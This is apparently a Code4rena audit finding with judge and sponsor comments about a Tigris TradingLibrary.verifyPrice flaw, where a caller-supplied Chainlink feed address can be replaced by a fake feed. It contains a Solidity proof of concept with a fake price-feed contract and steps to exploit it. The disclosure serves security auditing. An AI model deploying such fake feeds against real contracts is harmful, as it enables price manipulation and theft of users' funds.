Attacker can bypass the chainlink price verification at TradingLibrary> verifyPrice

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/b2ebb8ea1def4927a747e7a185174892506540ab/contracts/utils/TradingLibrary.sol#L95

Vulnerability details

Impact

The TradingLibrary> verifyPrice function verifies the given price with the node signature, however it reverts if the signed price is different than the chainLink price feed if the price slipped during "_priceData.timestamp + _validSignatureTimer", however this design can be bypassed as the priceFeed address is given by the user (address _chainlinkFeed) doing so an attacker can deploy a fake price feed and give it in the arg and give it's controlled price, this will make the attacker benefits from slippage ...etc

Proof of Concept

(Remix IDE), supposing the price is 400 however the price from the chainlink price feed is 900 (this will make 400 > 900-900*2/100 reverts)

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "https://github.com/code-423n4/2022-12-tigris/blob/b2ebb8ea1def4927a747e7a185174892506540ab/contracts/utils/TradingLibrary.sol#L104";

contract fake {
   function decimals() external view returns(uint256) {
       return 18;
   }
  function latestAnswer() external view returns (int256) {
      return 400;
  }
}
contract example {
  mapping(address=>bool) public _isNode;
  constructor() public {
     _isNode[msg.sender] = true;
  }
  function test(uint256 _validSignatureTimer,
      uint256 _asset, address _chainlinkFeed, PriceData calldata _priceData,  bytes calldata _signature) {
     TradingLibrary.verifyPrice(_validSignatureTimer,_asset,true,_chainlinkFeed,_priceData,_signature,_isNode);
     // do the next stuff
}
}

With your wallet (as node) sign the hash with the valid priceData tuple (make the _validSignatureTimer high and the price is 400), supposing the current price of the asset is 900 but the signature is made for 400 as price, call the test function with the fake contract as _chainlinkFeed and the transaction will succeed

Tools Used

Manual

Recommended Mitigation Steps

Make a whitelisting to the _chainlinkFeed :

mapping(address=>bool) whitelisted;
...
require(whitelisted[_chainlinkFeed],"unknown chainlink feed");

[GalloDaSballo]

Warden's submission is effectively saying you can use an arbitrary feed.

In reality the signer will not allow that: https://github.com/code-423n4/2022-12-tigris/blob/b2ebb8ea1def4927a747e7a185174892506540ab/contracts/utils/TradingLibrary.sol#L105

However, this still falls as a risk from Centralization as the signer can use any new feed at will

[TriHaz]

It is valid, there should be a whitelist mapping for chainlink feeds, but I disagree with severity as an attacker would need to manipulate the price on our oracle too to take advantage of this issue, as @GalloDaSballo mentioned, signer is checked.

[c4-sponsor]

TriHaz marked the issue as sponsor confirmed

[c4-sponsor]

TriHaz marked the issue as disagree with severity

[c4-judge]

GalloDaSballo marked the issue as duplicate of #418

[c4-judge]

GalloDaSballo marked the issue as duplicate of #377

[c4-judge]

GalloDaSballo changed the severity to 2 (Med Risk)

[c4-judge]

GalloDaSballo marked the issue as satisfactory